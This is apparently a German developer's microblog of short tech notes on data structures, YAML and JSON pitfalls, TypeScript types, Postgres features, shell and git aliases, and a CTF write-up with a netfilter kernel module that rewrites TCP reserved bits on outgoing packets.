Ein Blog

Datenstrukturdienstag:
B-Bäume und B+-Bäume (nein, das B steht nicht für “Binary”). Beides selbst-balancierende Suchbäume.

Was ist “Balancierend”?
Wenn man einen Baum hat, in dem man Daten sucht, ist die Zeit, die man braucht, um ein Element zu finden, häufig an die Höhe des Baums gebunden. Es ist also von Vorteil, wenn der Baum möglichst niedrig ist.
Je nach Baum kann es aber vorkommen, dass es einen langen Pfad gibt, der deutlich länger als die anderen im Baum ist. Sowas ist immer ungünstig, wenn man dann genau eines der Elemente sucht, das sich in diesem langen Pfad befindet.
Hierfür hat balanciert man Bäume - d.h. man ordnet die Knoten so um, dass die Blätter des Baums immer in etwa auf der gleichen Höhe hängen.
“Selbst-balancierend” heißt hier, dass das nicht ein Prozess ist, der abundzu mal angestoßen wird, sondern dass die Operationen auf dem Baum (einfügen, Löschen etc.) so definiert sind, dass er sich beim Verändern entsprechend balanciert.

Beide Strukturen werden häufig in Datenbanken und vorallem in Dateisystemen verwendet, z. B. bei NTFS und ext4.

  • datenstrukturen
  • tree

Python könnte den GIL verlieren. Der GIL steht Python seit langer Zeit im Weg, sinnvoll nutzbares Multithreading zu machen. Deshalb macht man in Python aktuell meist Multi-Processing (oder man paralleisiert innerhalb von C-Extensions, z. B. direkt in numpy).

  • python

Ein cooles SQLite fiddle. Läuft komplett im Browser. Kann auch statisch gehostete SQLite-DBs als Quelle nehmen.

Datenstrukturdienstag:
Log-Structured-Merge-Tree (LSM-Tree).

Das ist ein Suchbaum. Die Idee: Man hat mehrere Bäume (Bei Wikipedia C_0 und C_1). Der erste Baum liegt im RAM, der zweite auf der Festplatte. Neue Einträge kommen in den RAM. Wenn C_0 einen Threshold übersteigt, werden Daten von C_0 nach C_1 migriert, also auf die Festplatte.

Der Vorteil: Neu eingesetzte Daten liegen direkt im RAM und können schnell abgerufen werden. Aus diesem Grund wird diese Struktur auch gern bei In-Memory-Datenbanken verwendet.

Es kommt auch vor, dass man mehrere Level an Bäumen hat, z. B. ein C_2, das irgendwo auf einem anderen Server im Cluster liegt.

  • datenstrukturen
  • tree

SHA-1 ist jetzt noch kaputter, als es schon war.

Wie kaputt?

Es ist eine Chosen-Prefix-Kollision:

Using our SHA-1 chosen-prefix collision, we have created two PGP keys with different UserIDs and colliding certificates: key B is a legitimate key for Bob (to be signed by the Web of Trust), but the signature can be transferred to key A which is a forged key with Alice’s ID. The signature will still be valid because of the collision, but Bob controls key A with the name of Alice, and signed by a third party. Therefore, he can impersonate Alice and sign any document in her name,”

Edit: Oh, das ist ja aus 2020. Hab ich nicht mitbekommen.

  • security

Wo wir gerade bei JSON waren und jetzt kommt “dann nehm ich einfach YAML, das ist ganz einfach und man kann es auch einfach parsen”. YAML ist ein Superset von JSON. Das heißt, dass wir alle JSON-Probleme weiterhin haben.

Dazu kommt, dass das restliche Format auch nicht so gut ist. Hier wieder ein bekannter Blogpost: YAML: probably not so great after all.

Ein Zitat aus dem Post:

YAML may seem ‘simple’ and ‘obvious’ when glancing at a basic example, but turns out it’s not. The YAML spec is 23,449 words; for comparison, TOML is 3,339 words, JSON is 1,969 words, and XML is 20,603 words.
[…]
For example did you know there are nine ways to write a multi-line string in YAML with subtly different behaviour?

YAML hat auch ein berühmtes Problem. Ihr könnt ja mal überlegen, was man hier nach dem Parsen erhält:

countries:
- GB
- IE
- FR
- DE
- NO
- US

Dann probiert es jetzt aus, oder schaut in den verlinkten Artikel.

Sowas ähnliches ist auch der Grund, warum man bei docker-compose-Files die Port-Mappings immer in Anführungsstriche schreiben sollte.

Aus der Reihe bekannterer Blogposts: Parsing JSON is a Minefield.

Falls Euch wieder jemand sagt, dass man ja JSON ganz einfach parsen kann und man einen Parser auch mal schnell selbst schreiben kann. Nein, kannst du nicht. Jedenfalls keinen, der in der wealen Welt Daten von anderen Stellen entgegen nehmen wird. Kleiner Auszug aus dem Post:

Yet JSON is defined in at least seven different documents:

Bei mit sterben immer meine Kräuterpflanzen in der Küche. Vielleicht gieße ich sie zu wenig, vielleicht zu viel. Ich weiß es nicht.

Diesen selbstbewässernden Blumentopf werde ich mal ausprobieren. Was ich besonders gut finde: Das ist keine sinnlose Technik-Bastellei mit ESPs oder Feuchtigkeitssensoren. Das ist ein rein mechanischer Mechanismus.

Ein interessanter Artikel über Web Streams: Web Streams Everywhere

Vor ein paar Jahren (2014) hat man Web Streams standardisiert. Das ist sowas wie die Streams aus Node.js, aber als Standard für den Browser. Stellt sich heraus: Bei einem fetch-Request muss man nicht zwingend await (oder .then()) nutzen, um die Antwort zu verarbeiten. Die Property response.body ist ein Stream, den man durch andere Dinge pipen kann.

Auch andere Klassen, wie z. B. Blob, haben eher weniger bekannte Stream-Schnittstellen. So kann man auch WebSockets als ReadableStream wrappen, um mit den Nachrichten einfacher umgehen zu können.

Ein sehr lohnender Artikel!

  • javascript

Vor ein paar Tagen habe ich Hurl kennengelernt. Das ist ein CLI-HTTP-Client, wie cURL. Der Unterschied ist: Hurl holt sich die Request-Parameter aus einer Datei.

Warum ist das so viel anders als cURL? Man kann mehrere HTTP-Anfragen in einer Datei abbilden. Diese Anfragen können Daten aus den Ergebnissen der vorherigen Anfrage verwenden. Aus dem REAMDE:

# Get home:
GET https://example.net

HTTP/1.1 200
[Captures]
csrf_token: xpath "string(//meta[@name='_csrf_token']/@content)"

# Do login!
POST https://example.net/login?user=toto&password=1234
X-CSRF-TOKEN: {{csrf_token}}

HTTP/1.1 302

Wie Ihr seht, kann man damit auch XPath-Querys auf die Antworten absetzen. Natürlich geht auch JSONPath. Das kann man mit einem [Asserts] kombinieren und sich somit HTTP-Tests bauen:

POST https://api.example.net/tests
{
    "id": "456",
    "evaluate": true
}

HTTP/1.1 200
[Asserts]
jsonpath "$.status" == "RUNNING"      # Check the status code
jsonpath "$.tests" count == 25        # Check the number of items

Intern verwendet das Tool natürlich cURL; man muss das Rad ja auch nicht neu erfinden.

  • http
  • software-engineering
  • tools

Datenstrukturdienstag:
Letzte Woche: Zählen, wie oft bestimmte Elemente vorkamen.
Diese Woche: Zählen, wie viele Elemente in einer Menge enthalten sind.

Verwenden kann man dafür HyperLogLog (ja, wieder probabilistisch).

Anweendungsfall: Ihr habt eine Menge, zu der ständig neue Elemente hinzukommen. Ihr braucht euch nicht jedes Element merken. Aber es kann sein, dass ein Element, das eigentlich schon drin ist, noch mal hinzugefügt werden soll. Ihr wollt dieses Element nicht doppelt zählen (Fachbegriff Count-Distinct-Problem).

Konkret wollt ihr vielleicht die Anzahl der Aufrufe eines Videos zählen und nimmt dabei die ID des Users, der es angesehen hat, als Kriterium. Schaut sich die Person es noch mal an, wollt ihr sie nicht noch mal zählen. HLL hat dabei einen sehr langsam wachsenden Speicherbedarf (ursprünglich log(log(n)), daher der Name) und kann in O(1) Elemente hinzufügen.

In der Praxis muss man das natürlich nicht selber bauen. Redis hat das built-in. Und für jede Sprache gibt’s das sicherlich auch als Library.

HLL wird natürlich bei den “ganz großen” verwendet (Reddit hat hier berichtet, wie sie ihre Views zählten; habe gehört, dass sie es mittlerweile nicht mehr so machen). Diese Datenstrunktur ist auch der Grund, warum Video-Views oder Upvote-Counts meistens nicht die genaue Zahl wiederspiegeln. HLL hat eine Fehlerrate von ~2%.

Es gibt von HLL noch weitere Abwandlungen, z. B. HLL++.

  • datenstrukturen
  • probabilistisch

Ich habe gerade folgendenden Alias bei Git hinzugefügt:

git config --global alias.serve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/"

Damit kann man ein lokales Git-Repo “mal schnell” serven, damit es jemand klonen kann. Dann spart man sich SSH bzw. andere Lösungen (Quelle).

  • git
  • shell

Wiedermal ein schöner API-gotcha, dieses Mal in C#/.NET:

Path.GetTempFileName() gibt den Pfad zu einer einzigartigen Datei zurück. Dabei wird diese Datei auch gleich (ohne Inhalt) angelegt. Sehr praktisch also! Man kann die Datei auch direkt löschen, wenn man weiß, dass man sie nicht mehr braucht.

Brauchst du etwas mehr, als eine einzige Datei? Es gibt praktischerweise auch Path.GetTempPath()!

Moment – diese Funktion gibt keinen eindeutigen Ordnernamen zurück, sondern den Pfad zum Temp-Verzeichnis des Nutzers. Wer gerade seinen Code refactored hat und davon ausging, dass man den Ordner sicher löschen kann, hat also vielleicht pech. Wenn man darin dann Dateien mit gleichen Namen anliegt, wiegt sich auch in falscher Sicherheit. Nicht schön.

Dies ist ein schönes Beispiel, dass man Seiteneffekte immer deutlich machen soll. Schon bei GetTempFileName hätte man noch irgendwo ein Create in den Namen tun müssen, damit man sieht, dass diese Funktion auch tatsächlich noch etwas anderes macht, als einen String zurückzugeben. Alternativ hätte man auch bei GetTempPath noch einen anderen Namen finden können.

Naming things is hard.

  • dotnet
  • api-design

TypeScript 4.5 (Beta).

Gute Änderung: TS unterstützt jetzt auch Node.js-Style-ES-Module. Das heißt, dass jetzt auch ordentlich mit ES-Imports umgegangen werden kann, wenn keine Dateiendung dabei ist. Das war bisher immer etwas doof, wenn man bestehenden Code als ES-Module emittiert, da man bei Node üblicherweise die Dateiendungen nicht mit angibt.
Die Alternative wäre gewesen, von .js zu importieren, was aber auch doof war, weil man ja eigentlich von einer .ts-Datei importiert. Die Imports wurden bisher nicht zu der entsprechenden .js-Datei umgeschrieben.

Template-Literal-Strings kann man jetzt auch als Discriminator nehmen:

interface Success {
    type: `${string}Success`;
    body: string;
}
interface Error {
    type: `${string}Error`;
    message: string
}
function handler(r: Success | Error) {
    if (r.type === "HttpSuccess") {
        // 'r' has type 'Success'
        let token = r.body;
    }
}

Hätte eigentlich gedacht, dass das vorher auch schon gehen würde. Cool, dass es jetzt geht.

Außer, dass Import Assertions jetzt unterstützt werden, gibt es eigentlich sonst keine krassen Neuerungen. Eher viel kleines für besseren Interop mit anderem.

  • typescript

Für ein CTF musste ich letztens einen Netfilter bauen, der ein- und ausgehende IP-Pakete patcht. Genauer gesagt mussten Daten in TCP-Header geändert werden (mehrere Reserved-Bits mussten gesetzt werden).

Nachdem ich hoffnungslos versucht hab, irgendwelche random TCP/IP-Userspace-Stacks mit Raw-Sockets oder TUN/TAP-Devices zum Laufen zu bringen, war die “einfache” Lösung ein Netfilter-Kernelmodul. Da man dazu immer mal wieder verschiedene Varianten findet und 90% der Tech-Blogs da draußen nicht in der Lage sind, Zeilenumbrüche und Quotes ordentlich zu formatieren, hier eine “einfache” Lösung (basiert teilweise auf dieser):

ultra_hack.c:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>

MODULE_LICENSE("GPL-3.0");
MODULE_AUTHOR("Ultra Hacker 3000");
MODULE_DESCRIPTION("Super-TCP-Hack");

static unsigned int hook_func(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
	if (!skb)
		return NF_ACCEPT;

	struct iphdr *iph = ip_hdr(skb);
	if (iph->protocol != IPPROTO_TCP)
		return NF_ACCEPT;

	struct tcphdr *tcp_header = tcp_hdr(skb);

	tcp_header->res1 = 0b1010;

	printk(KERN_DEBUG "ultra hack is hacking.\n");

	return NF_ACCEPT;
}

static struct nf_hook_ops nf_hook_data = {
	.hook = hook_func,
	.hooknum = NF_INET_POST_ROUTING,
	.pf = PF_INET,
	.priority = NF_IP_PRI_FIRST,
};

static int __init init_function(void)
{
	printk(KERN_INFO "ultra hack module is loading.\n");
	nf_register_net_hook(&init_net, &nf_hook_data);
	return 0;
}

static void __exit exit_function(void)
{
	printk(KERN_INFO "ultra hack module is unloading.\n");
	nf_unregister_net_hook(&init_net, &nf_hook_data);
}

module_init(init_function);
module_exit(exit_function);

Ein paar Anmerkungen:

  • PF_INET steht für IPv4
  • die hooknum gibt die Stelle an, an der der Filter eingesetzt wird (das kann man noch Pre-Routing machen etc, einfach nach anderen Konstanten schauen).
  • Die Signatur der hook_func ändert sich gerne mal bei Kernel-Updates. Die aus dem Beispiel funktioniert für 5.11.0.

Hier noch die Makefile dazu:

obj-m := ultra_hack.o
LKM-objs += ultra_hack.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
	rm -r -f *.mod.c .*.cmd *.symvers *.o
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

Zum Laden, Entfernen etc:

# kompilieren
make all

# laden
sudo insmod ultra_hack.ko

# schauen, ob es da ist
lsmod

# schauen, ob printk-Nachrichten auftauchen
sudo dmesg -w

# entfernen
sudo rmmod ultra_hack

Man kann das auch mit nfqueue und Python machen.

  • acsc
  • ctf
  • writeup

Datenstrukturdienstag:
Dieses Mal gibt es wieder eine probabillistische Datenstruktur: Count–min-Sketch.
Damit kann man (probabilistisch) schätzen, wie oft ein Element vorgekommen ist, z. B. wenn man einen Datenstrom hat und vorbeigehende Dinge zählt.

  • datenstrukturen
  • probabilistisch

Heutiger SQLite-Post: SQLAR, ein komprimiertes Archivformat, was gleichzeitig eine SQLite-Datenbank ist. Idee: Es ist eine normale SQLite-DB, die zusätzlich diese Tabelle hat:

CREATE TABLE sqlar(
    name TEXT PRIMARY KEY,  -- name of the file
    mode INT,               -- access permissions
    mtime INT,              -- last modification time
    sz INT,                 -- original file size
    data BLOB               -- compressed content
);

Rest dürfte selbsterklärend sein. Die Vorteile sind die, die man bei normalen SQLite auch hat: Transaktionen, man kann SQL-Querys auf Dateinamen/Attribute machen, die Datei ist inkrementell updatebar etc.

  • db

Der Link von eben hat mich an einen sehr guten Talk erinnert: The Future of Programming, von Bret Victor

Er präsentiert auf einem Tageslichtprojektor und setzt den ganzen Talk so auf, als ob er im Juli 1973 gehalten wird (der Talk ist von 2013). Dabei zeigt er die verrückten, neuen Ideen, auf die die Menschen damals gekommen sind, wenn es um Computer und deren Programmierung ging. Viele davon kennt Ihr wahrscheinlich. Andere bestimmt nicht, da sie in Vergessenheit geraten sind.

Warum haben wir eigentlich die Kreativität verloren, sodass wir Computer im Prinzip alle auf dieselbe Weise bespielen?

Interessante Frage, die sich jemand 2012 gestellt hat und diskutiert wurde: What will programming look like in 2020?

Ausschitt der Frage:

What will programming look like in 2020? Keep in mind that programming in 2012 mostly resembles programming in 2004, so could we even expect any significant changes 8 years from now in the programmer experience?

Neulich hatte ich den bekannten “Parse, don’t validate”-Post verlinkt.

Als Follow-Up-Empfehlung gibt es hier zwei Posts:

Letzteres dreht sich vorallem um Haskells newtype. Vereinfacht gesagt ist das ein strikter Typalias. Also als TypeScript-Äquivalent:

type Grade = number;

Mit einem wichtigen Unterschied: Jede number ist automatisch eine valide Grade. Das liegt daran, dass das Typsystem von TS (an den meisten Stellen) strukturell und nicht nominell ist.

Diese newtypes sind eine strikte Variante davon, nämlich, dass man die Typen entweder explizit casten muss oder sie durch die Typinferenz gesichert werden. In TS gibt es newtype-Konstruktionen, Librarys und etliche Blogposts dazu. Manche nennen es auch “Branded Types”. Natürlich gibt es auch ein seit 2014 offenes Proposal dazu.

Die Aussage des Blogposts oben: Das kann Exhaustiveness-Checking kaputt machen. Wir stellen uns diese Funktion vor:

type Grade = Branded<number, "Grade">; // "newtype" für Grade

function isGrade(value: number): value is Grade {
    return 1 <= value && value <= 6;
}

function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return "sehr gut";
        case 2: return "gut";
        case 3: return "befriedigend";
        case 4: return "ausreichend";
        case 5: return "mangelhaft";
        case 6: return "ungenügend";
        default: throw new Error("Impossible");
    }
}

let a = 4;
// a ist "number"
if (isGrade(a)) {
    // a ist "Grade"
    console.log(getGradeDescription(a));
}

Das ist doch schon ganz gut. Aber was ist jetzt das Problem?

Das Problem wird klar, wenn wir ein Refactoring machen und von dem 6-Noten-System auf z. B. ein 15-Punkte-System migrieren:

type Grade = Branded<number, "Grade">; // "newtype" für Grade

function isGrade(value: number): value is Grade {
    return 0 <= value && value <= 15;
}

// ... 

let a = 4;
// a ist "number"
if (isGrade(a)) {
    // a ist "Grade"
    console.log(getGradeDescription(a));
}

Jetzt könnte es passieren, dass der Entwickler nicht mitbekommt, dass getGradeDescription auch angepasst werden muss – es gibt ja auch keinen Compilerfehler. Stattdessen erhalten wir einen Runtime-Fehler. Dabei dachten wir eigentlich, wir seien auf der sicheren Seite, denn wir haben immer den Grade-Type zugesichert.

Oben schrieb ich, dass Exhaustiveness-Checking kaputt gemacht würde. Rollen wir unseren Code also nochmal zurück vor das Refactoring und schauen, was wir hätten besser machen können.
Exhaustiveness-Checking ist, wenn der Compiler prüfen kann, ob alle Fälle abgetestet wurden. Wenn wir den default-Case beim getGradeDescription weglassen:

function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return "sehr gut";
        case 2: return "gut";
        case 3: return "befriedigend";
        case 4: return "ausreichend";
        case 5: return "mangelhaft";
        case 6: return "ungenügend";
    }
}

…erhalten wir einen Fehler:

Function lacks ending return statement and return type does not include ‘undefined’.

Der kommt daher, dass wir nicht alle Fälle abgedeckt haben und die Funktion nicht immer einen Wert zurückgibt, denn Grade ist ja letztenendes für den Compiler nur eine number, welche alle möglichen Werte annehmen kann. Wir wissen jedoch, dass dies nicht so ist! Der Type-Checker weiß das jedoch nicht. Wie können wir den Type-Checker zu unseren Gunsten verwenden?

Eine Antwort: Mit Literaltypen und Union-Types. Wir können Grade stattdessen so definieren:

type Grade = 1 | 2 | 3 | 4 | 5 | 6;

(Achtung: Das ist immernoch kein newtype, nur ein Typalias für dieses Union)

Dieser Typalias reicht schon aus, um den Compiler bei dem switch mit dem fehlenden default-Case zu befriedigen. Wenn wir jetzt unser Refactoring erneut durchführen, müssen wir Grade abändern:

type Grade = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15;

Jetzt bekommt wir sofort einen Fehler in der getGradeDescription-Funktion: Das Exhaustiveness-Checking sagt uns, dass wir nicht alle Fälle des Grade-Typen abgedeckt haben und der Entwickler weiß sofort, dass er diese Funktion anpassen muss, da sie nicht vergessen werden kann.

Zwei letzte Anmerkungen dazu:

  • Den default-Case würde ich in der TypeScript-Welt trotzdem nicht weglassen. Es ist immer gut, sich ein assertNever zu definieren und es im default-Case für den Wert, auf dem geswitched wird, zu verwenden. Dadurch wird der Fehler eindeutiger und sollte es zur Laufzeit doch irgendwie dazu kommen, kann im Fehelrfall zumindest eine Exception an der richtigen Stelle geworfen werden (TypeScript macht keine Runtime-Checks; eine inkorrekte Assertion würde dafür reichen).
  • Der Typ ist jetzt schon ziemlich lang – ein Union mit 16 Einträgen. Natürlich sollte man auf Fallbasis abwägen, ob es sich lohnt.
  • newtypes / branded Types sind trotzdem cool und können generell helfen, typsicherer zu sein. Es kann sich aber lohnen, seine Typen noch genauer zu spezifizieren.
  • software-engineering
  • typescript

Ein “Gotcha” bei Floating-Point-Kram (IEEE 754) ist das Runden:

In JavaScript verhält sich das Runden wie folgt:

> Math.round(0.5)
1
> Math.round(1.5)
2
> Math.round(2.5)
3
> Math.round(3.5)
4
> Math.round(4.5)
5
> Math.round(5.5)
6

In Python hingegen:

>>> round(0.5)
0
>>> round(1.5)
2
>>> round(2.5)
2
>>> round(3.5)
4
>>> round(4.5)
4
>>> round(5.5)
6

JS rundet hier offenbar klassisch kaufmännisch. Aber was macht Python da? Python rundet hier nach dem Prinzip round half to even, ebenfalls definiert in IEEE 754. Der Hintergrund dieser Idee ist, einen Bias auszugleichen, der auftritt, wenn Summen gerundetwer Zahlen gebildet werden:

This function minimizes the expected error when summing over rounded figures, even when the inputs are mostly positive or mostly negative. Der Wikipedia-Artikel hat auch eine schne Tabelle!

Wenn man in Java mit BigDecimal arbeitet, gibt es da einen sogenannten MathContext, den man auch beim Runden angeben kann. Darüber kann man genau spezifizieren, wie gerundet werden soll.

Eine einfache Web-ReadOnly-Oberfläche für Git-Repos: Klaus

  • git

C# wird ja immer weiterentwickelt. Das geht seit Roslyn so schnell, dass manche Sachen dort vielleicht untergegangen sind. Z. B. hat C# mitterweile zwei neue Access-Modifiers, die nocht “so üblich” sind:

  • protected internal: The type or member can be accessed by any code in the assembly in which it’s declared, or from within a derived class in another assembly.
  • private protected: The type or member can be accessed only within its declaring assembly, by code in the same class or in a type that is derived from that class.
  • dotnet

Datenstrukturdienstag:
Der Prefix-Tree bzw. “Trie”.

Grundidee: Ein Baum, bei dem jeder Knoten ein Buchstabe ist. Will man einen String ablegen, “geht” bzw. erstellt man den entsprechenden Pfad, der zu dem String gehört.
Man muss den Key deshalb nicht separat abspeichern. Der Pfad zum Wert ist der Key. Die Menge der Keys ist dadurch die Menge der Pfade, die in einem Blatt enden.

Neulich habe ich hiermit ein bisschen geliebäugelt, um es ggf. als optimierte Variante anstelle einer Hashmap zu verwenden. Die Keys, die ich in die Map gesteckt habe, waren alle sehr ähnliche Strings. Vorallem waren es Strings, die semantisch mehr miteinander zu tun hatten, je gleicher der Prefix ist. Das hätte vorallem die Lookup-Zeiten aufgrund von CPU-Caches reduzieren können.

Bevor ich ausprobiert hab, ob es sich lohnt, hab ich natürlich gegooglet. Wichtige Erkenntnisse dabei haben dieser und dieser post geliefert. tl;dr: Eine Standard-Hashmap (z. B. aus Java) ist ziemlich optimiert und ein Prefix-Tree lohnt sich meistens eher nicht. Manche sehen das auch als Contest an, die schnellste Hashtable zu schreiben.

  • datenstrukturen

Aus der Reihe “Blogposts, die man kennen sollte”: Parse, don’t validate.

Wenn Ihr eine Anwendung baut, macht ungültige Zustände in Eurer Typdomäne nicht-repräsentierbar. Ihr müsst dann anschließend nichts mehr validieren, sondern nur noch parsen. Letzteres macht ggf. sogar ein Framework für Euch. Und Ihr zwingt Euch dazu, Fehlerfälle nicht zu übersehen.

Ein einfaches Beispiel in TypeScript:
Szenario: Ein Server kann zwei Antworten geben:

{ "ok": true, "data": "Bitteschön" }
{ "ok": false, "message": "Ich bin ein Kaffeepott" }

Was man nicht machen sollte, wäre folgendes DTO als Modellierung für die Antwort zu nehmen:

interface Response {
    ok: boolean;
    message?: string;
    data?: string;
}
const r = await fetch("...").then(r => r.json()) as Response;

Warum nicht?

  • Weil man andauernd prüfen muss, ob message vorhanden ist.
  • Weil es bei diesem DTO gültig ist, dass das Objekt weder message noch data hat. Dieser ungültige Zustand wäre in dieser Modellierung möglich!
  • Weil man vergessen könnte, auf ok zu überprüfen.
  • Kann bei Refactorings kaputt gehen.

Was könnte man stattdessen machen? TypeScript hat (wie andere Sprachen auch) discriminated/tagged Unions. Rust-Menschen kennen das als ihr Enum, nur dass das in TS auf JS-Objekten funktioniert. Dabei fungiert ein- oder mehrere gemeinsame Propertys der Typen als Discriminator (also “Unterscheider”).

Wir definieren genau die zwei Möglichkeiten, die uns der Server geben kann und sagen “das oder das”:

interface SuccessResponse {
    ok: true;
    data: string;
}
interface ErrorResponse {
    ok: false;
    message: string;
}
type Response = SuccessResponse | ErrorResponse;

const r = await fetch("...").then(r => r.json()) as Response;

ok ist hier der Discriminator, der zwischen den beiden Typen unterscheidet.

Auffällig ist:

  • Weder message noch data sind jetzt optional.
  • Man wird vom Typsystem gezwungen, auf ok zu prüfen, bevor man .data verwendet. Man kann es nicht vergessen.
  • Eine Funktion, die nur mit einer erfolgreichen Serverantwort etwas anfangen kann, kann dies in ihrer Parametersignatur sagen. Man spart sich das entpacken der Antwort sowie sonstige Checks innerhalb der Funktion.
  • Wenn Refactorings etwas daran ändern, merkt man das.
  • Es ist nicht möglich, ok: true und mesage: "test" zu haben - ungültige Zustände können hier nicht repräsentiert werden.

Eine Überprüfung, ob die Antwort jetzt erfolgreich war oder nicht, muss man natürlich so früh wie möglich machen, dann spart man sich das Überprüfen an späteren Stellen.

Das oben gezeigte Pattern lässt sich gut verwenden, um State-Machines typsicher zu implementieren.
Noch ein paar Pointer für andere Sprachen:

Das ist nur eine Methode, ungültige Zustände im Typsystem festzuhalten. Aber eine, die (meiner Meinung nach) zu wenig verwendet wird.

  • typescript
  • software-engineering

Datenstrukturdienstag:
Diese Woche keine probabilistische Datenstruktur. Stattdessen etwas eher klassischeres: Merkle-Tree.

Grundidee: Man hat Daten(-Blöcke), welche man hasht. Diese Hashes hasht man dann in Zweierpaaren zu einem neuen Hash. Das macht man so lange, bis man nur noch einen Hash übrig hat, der implizit einen Hash über alle Datenblöcke repräsentiert.
Ein Knoten in dem Baum ist dabei ein Hash, die Kind-Zweige jeweils die Vorgänger-Hashes. Wer alle Datenblöcke vor sich liegen hat, kann den Merkle-Tree berechnen. Ist ein Datenblock fehlerhaft, stimmt am Ende der Root-Hash nicht.

Das Konzept kommt ursprünglich aus 1979 von Ralph Merkle. Eine der bekanntesten Anwendungen heutzutage ist die Bitcoin-Blockchain. Dort wird ein Merkle-Tree verwendet, um einen Hash über die Transaktionen innerhalb eines Blocks zu berechnen. Die Wurzel dieses Merkle-Trees ist bei Bitcoin dann Teil von dem, was als Grundlage für den SHA-1-Hash verwendet wird, der “gemined” wird. Ursprünglich erfunden wurde der Merkle-Tree, um P2P-Dateiaustausch zu verienfachen. Hier ist ein Artikel dazu.

  • datenstrukturen

Bei Travis gab es ein Problem mit den Secrets: Die Secrets waren nicht secret.

Gut ist auch die Anmerkung bei der Ankündigung:

As a reminder, cycling your secrets is something that all users should do on a regular basis.

Man könnte es auch lesen als “Ja, ist schon schlimm und so. Aber Ihr solltet ja eigentlich alle die Secrets regelmäßig durchtauschen, daher ist das ja dann doch nicht so schlimm. Und wenn nicht, dann ist das Euer Problem, wenn Ihr das nicht macht.”.

Die hatten mit Secrets schonmal Probleme.
Wichtiger Fakt: Bei der Meldung aus 2016 steht dabei, dass sie keine Anhaltspunkte haben, dass die Lücke ausgenutzt wurde. Diese Anmerkung fehlt bei der Meldung oben. Man könnte also auf die Idee kommen, daraus zu schlussfolgern, dass es dieses Mal ausgenutzt wurde.
Und wenn man in den verwandten Threads dazu weiterliest, stimmt das vielleicht auch:

We’ve notified a few projects ourselves to remove their PR builds, they reproed and validated too. Don’t know if it was abused or not.

Ich denke, man will uns damit sagen: Nutzt nicht Travis, wenn Ihr Secrets habt.

Wo wir gerade bei Postgres waren: Postgers hat einen riesen haufen vordefinierter Typen: https://www.postgresql.org/docs/9.5/datatype.html

U. A. einen Typen für IP-Adresse und einen für IP-Netze. Außerdem kann eine Tabelle auch Array-Spalten enthalten.
Außerdem auch noch Enums und geometrische Typen (Punkte, Pfade, etc).

  • db

Aktuell mache ich ein bisschen Postgres und muss irgendwo festhalten, was mir so für Dinge auffallen, die ich aus MariaDB und SQLite nicht so kenne.

Heute: Domains

Man kann in Postgres eigene Datentypen anlegen und diese auch mit CHECKs versehen:

CREATE DOMAIN percentage
AS INTEGER
CHECK (VALUE BETWEEN 0 AND 100) NOT NULL;

Und sie dann ganz normal verwenden:

CREATE TABLE test (
    -- ...
    amount_finished percentage,
    -- ...
);

Es gibt auch noch CREATE TYPE. Der Unterschied wird hier erklärt.

  • db

Habe mir gerade diese beiden Shell-Funktionen in die .zshrc gelegt:

dsh() { docker exec -it "$1" /bin/sh }
dbash() { docker exec -it "$1" /bin/bash }

Verwenden mit:

dsh <container-id>

…und man bekommt eine Shell in den Container.

Vielleicht braucht es ja jemand von Euch.

Datenstrukturdienstag:
Heute keine konkrete Datenstruktur, nur ein Link auf diese tolle Seite, die Algorithmen und Datenstrukturen mit IKEA-Bauanleitungs-artigen Grafiken erklärt.

  • datenstrukturen

Ich habe ja schonmal über jq, xq, yq, q und fselect berichtet.

Da gibt es noch eins: htmlq. Das ist wie jq, nur für HTML und als Anfragesprache hat man CSS-Selektoren.

  • tools

Falls Ihr gerade an einem Backend schreibt und überlegt, ob Ihr neben Euer Postgres noch eine Message-Queue stellt (z. B. Redis): Postgres hat LISTEN/NOTIFY und kann damit auch als Message-Broker verwendet werden.

Funktioniert auch in einem Trigger, sodass z. B. andere Clients mitbekommen können, wenn eine neue Zeile eingesetzt wurde.

  • db

Noch ein weiterer “den sollte man kennen”-Blogpost: Today, the Trident Era Ends

Gibt einen Einblick in die Dinge, in denen der IE Vorreiter war, welche tollen Dinge wir dem IE verdanken haben und welche interessanten Sachen sie sich sonst damals ausgedacht haben (u. A. natives HTML-Two-Way-Databinding).

Ein bisschen weniger Inhalt hat The innovations of Internet Explorer.

Wenn Ihr früher .NET gemacht habt, kennt Ihr vielleicht noch pinvoke.net. Das ist eine Wiki-artige Plattform, auf der im Prinzip Code gesammelt wurde, um mit der Win32-API über P/Invokes (das ist das FFI von .NET) zu arbeiten.

Jedes Programm hatte dann diese P/Invoke-Signaturen zu sich hinkopiert. Es gab magische Konstanten, die von irgendwo herkamen und keinen Namen hatten. Wie das halt so mit altem Code, der durch 3 Generationen weitergereicht wird, so ist.

Vor kurzem bin ich auf dotnet/pinvoke gestoßen. Das ist genau das, nur von Microsoft selbst (+ Community Contributions), als einheitliche Dependency, die über NuGet installierbar ist. Zugegeben NuGet gab’s vor 15 Jahren noch nicht wirklich in der Form. Aber genau sowas hätte MS auch schon damals bereitstellen sollen - das hätte alles einfacher gemacht. So ähnlich wie mit dem WinAPICodePack, welches dann auf einmal von allen MS-Seiten verschwand (vermutlich wegen Metro/UWP?).

Jedenfalls dachte ich gerade: Geil! Damit kann ich endlich in meiner Software die handgeschriebenen P/Invokes ablösen und die fehlenden nach upstream contributen. Weniger Wartung für mich und alle haben was davon und so.

Dann habe ich aber diese Issue gesehen. Vor einiger Zeit habe ich hier auch etwas zu den Source-Generators in C# geschrieben. Diese Source-Generators lösen genau diese Library jetzt ab. Undzwar hat das Win32-Team Metadata-Dateien erstellt, aus denen die P/Invokes on-demand erstellt werden können.
Dieser Source-Generator verwendet das. Man muss damit also keine Dependencys mit riesigen Win32-Import-Ansammlungen mitschleppen, sondern generiert sich genau die, die man benötigt.

  • dotnet
  • win32

